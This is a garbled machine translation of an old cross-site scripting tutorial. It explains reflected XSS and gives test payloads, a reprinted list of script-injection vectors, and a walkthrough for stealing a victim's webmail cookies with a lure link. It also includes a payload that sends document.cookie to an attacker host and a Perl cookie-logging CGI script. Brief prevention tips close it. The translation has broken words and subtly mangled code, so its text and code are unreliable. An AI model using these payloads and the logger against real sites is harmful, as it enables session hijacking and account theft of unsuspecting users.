I've seen analysts write an article about the security implications of Cross-site scripting, when I just knew there was such a
Problems, and did not read carefully, at present such issues are often published in some security sites, I just saw such an article
，
Hold to know better than do not know the idea of a good, translation collated, the original in the collection Directory of my homepage, error
The Place please
Lots of pointers.
Ok,go .......
What is a cross-station script (CSS/XSS)?
In our view, a cross-site script is a malicious intent data inserted in the HTML code of a remote Web page, and the user believes that the
The page is trustworthy, but when the browser downloads the page, the script embedded in it will be interpreted and executed.
Sometimes cross-site scripting is called "XSS," because "CSS" is often called a layered stylesheet, which can be confusing,
If
You hear someone mention CSS or XSS security vulnerabilities, often referred to as cross-site scripting.
What is the difference between XSS and script injection?
The author was talking to a friend of his (B0iler) to understand that not all of the scripts that could be used to insert an attack
Vulnerabilities are known as XSS, and there is another way to attack: "Script injection", their difference in the following two points:
1. (script injection) the Scripting Insert attack will save the script we inserted in the Modified Remote Web page, as
: SQL Injection,xpath injection.
2. Cross-site scripting is temporary and disappears after execution
What type of script can be inserted into a remote page?
Mainstream scripts include the following:
Html
JavaScript (discussed in this article)
VBScript
Activex
Flash
What causes a site to have an XSS security vulnerability?
Many cgi/php scripts execute when it discovers that the client submits a request page that does not exist or other types of errors
The error message is printed to an HTML file, and the error page is sent to the visitor.
For example: 404-yourfile.html not found!
We are generally not aware of such information, but now to study the causes of the CSS vulnerabilities, we have a closer look.
Example: www.somesite.tld/cgi-bin/program.cgi?page=downloads.html
The connection to which the URL points is valid, but if we replace the following downloads.html with Brainrawt_owns_
Me.html
, one containing 404-brainrawt_owns_me.html not found! The information page will be fed back to the visitor's browsing
Manager
Think about how it writes our input into an HTML file?
OK, now is the time for us to check for XSS vulnerabilities!
Note: The following is just an example of an XSS vulnerability on the page where we can insert a JavaScript code into a page
In Of course there are many ways
Www.somesite.tld/cgi-bin/program.cgi?page=<script>alert (' xss_vuln_testing ') </sc
Ript>
When we submitted this URL, we popped a message box in our browser, "Xss_vuln_testing"?
This example is just a simple demo of an XSS vulnerability, and it's not practical, but it's enough to explain the problem.
Below we analyze the cause of the run result, program.cgi to our input is not effectively filtered
，
directly into the 404 error page, the result creates a page, as follows:
<b>404</b>-<script>alert (' xss_vuln_testing ') </script> not found!
The JavaScript script is interpreted by the browser, and then there is the result you see.
How can I use XSS to complete hacking?
As mentioned earlier, if a user submits a request that is not satisfied, the server-side script writes the input information to the
One
HTML file, malicious script can be inserted when the server-side program does not effectively filter the data written to the HTML file.
To
In the HTML file. When other users browse the connection, the script will be interpreted by the client browser.
Case:
If you find that Myemailserver.tld has a CSS vulnerability, you want to get an email account for one of them, such as our
The goal is to b00b this man.
www.myemailserver.tld/cgi-bin/news.cgi?article=59035
Modify the connection with the CSS vulnerability above:
Www.myemailserver.tld/cgi-bin/news.cgi?article=hax0red
This creates an error page, and we get the following information:
Invalid input! [Article=hax0red]
When you insert a JavaScript code such as the following, a message box with test will pop up on your screen.
Www.myemailserver.tld/cgi-bin/news.cgi?article=<script>alert (' Test ') <
/script>
<script> does not print to the screen, it is hidden behind the execution, because the server-side program does not
<script>alert (' test ') </script> effective filtering, so the page is sent back to the browser and executed the script
。
Let's see how to exploit this vulnerability to invade Comrade B00B's mailbox, first you must know b00b's email address,
And know the role of cookies. Then you can tell b00b a malicious connection, hehe, of course
The intention is to get what you want from the cookie information in the b00b machine.
Find a way to get b00b to visit the Myemailserver.tld site, say: "Dear b00b, look at this beautiful
Woman
How's that? ”
Then when poor b00b visited Www.myemailserver.tld/cgi-bin/news.cgi?article=<script> to steal
and save the cookie script
</script>
What happens when you connect? Cookies are there, you should know how to do it!
If this is not the case in your current situation, you can copy the email server landing page, hanging on other systems,
Then guide the user to your malicious system page
So you can record the user information, and then send the recorded information back to the Real email server page,
Those idiots don't realize what actually happened.
Different ways to insert a JavaScript script into a Web page:
<snip>
Copy from: gobbles Security Advisory #33
This is a Cut-n-paste collection of typical javascript-injection hacks
You may derive some glee from playing with.
<a href= "Javascript#[code]" >
<div onmouseover= "[Code]" >
[IE]
<input type= "image" dynsrc= "Javascript:[code]" > [IE]
<bgsound src= "Javascript:[code]" > [IE]
&<script>[code]</script>
&{[code]}; [N4]
[N4]
<link rel= "stylesheet" href= "Javascript:[code]" >
<iframe src= "Vbscript:[code]" > [IE]
[N4]
[N4]
<a href= "About:<script>[code]</script>" >
<meta http-equiv= "Refresh" content= "0;url=javascript:[code]" >
<body onload= "[Code]" >
<div style= "Background-image:url (Javascript:[code]);" >
<div style= "Behaviour:url" ([link to code]); > [IE]
<div style= "Binding:url" ([link to code]); > [Mozilla]
<div style= "Width:expression ([code]);" > [IE]
<style type= "Text/javascript" >[code]</style> [N4]
<object classid= "clsid: ..." codebase= "Javascript:[code]" > [IE]
<style><!--</style><script>[code]//--></script>
<! [cdata[<!--]]><script>[code]//--></script>
<!------><script>[code]</script><!------>
<script>[code]</script>
<xml src= "Javascript:[code]" >
<xml id= "X" ><a><b><script>[code]</script>;</b></a></xml>
<div datafld= "B" dataformatas= "html" datasrc= "#X" ></div>
[/XC0] [/xbc]script>[code][/xc0][/xbc]/script> [UTF-8; IE, Opera]
----Copied from gobbles advisory #33----
</snip>
A real example of getting cookies and logging:
Note: To make it work, your browser must be allowed to accept cookies sent by the HTTP://WEBSITE.TLD site,
When I test the following information, use the
The JavaScript creation Visitor's cookies,javascript script is placed in the index.html file.
OK, the following assumes that there is a security risk for XSS attacks and that the HTTP://WEBSITE.TLD connection is:
Http://website.tld/program.cgi?input=<evil javascript>
We create such a connection:
Http://website.tld/program.cgi?input=<script>document.location= ' Http://yoursite
. TLD
/cgi-bin/evil_cookie_logger.cgi? ' +document.cookie</script>
Then let the user who saved the site cookie access the connection:
This is our CGI script, and its role is to record user cookies:
---------evil_cookie_logger.cgi-----------
#!/usr/bin/perl
# evil_cookie_logger.cgi
# Remote Cookie Logging CGI coded by BRAINRAWT
#
# note:coded as a proof of concept script when testing for
# Cross-site scripting vulnerabilities.
$borrowed _info = $ENV {' query_string '};
$borrowed _info =~ s/% ([a-fa-f0-9][a-fa-f0-9])/pack ("C", Hex ($))/eg;
Open (Evil_cookie_log, ">>evil_cookie_log") or print Content-type:
text/html/n/n something went wrong/n ";
Print Evil_cookie_log "$borrowed _info/n";
print "content-type:text/html/n/n";
Close (Evil_cookie_log);
------------------------------------------
The script first obtains a cookie from the $ENV {' query_string '} and prints it into the $borrowed_info variable.
Save COOKIE information to Evil_cookie_lo via open (Evil_cookie_log, ">>evil_cookie_log")
G file.
Note: The above JavaScript script may not be executed on some browsers or sites,
This is just the test I do on my site.
How to prevent XSS attacks?
1. Disable JavaScript scripting on your Web browser
2. Developers need to carefully audit the code, to submit input data for effective inspection, such as "<" and ">."
Can convert "<", ">" to <,>
Note: Because of the diversity of XSS vulnerabilities that can be exploited, programmers themselves need to understand the specific characters that need to be filtered,
This depends primarily on the role of the program being developed and recommends filtering out all metacharacters, including "=".
For the victim, do not access the connection containing the <script> character, and some official URLs will not include any script elements.
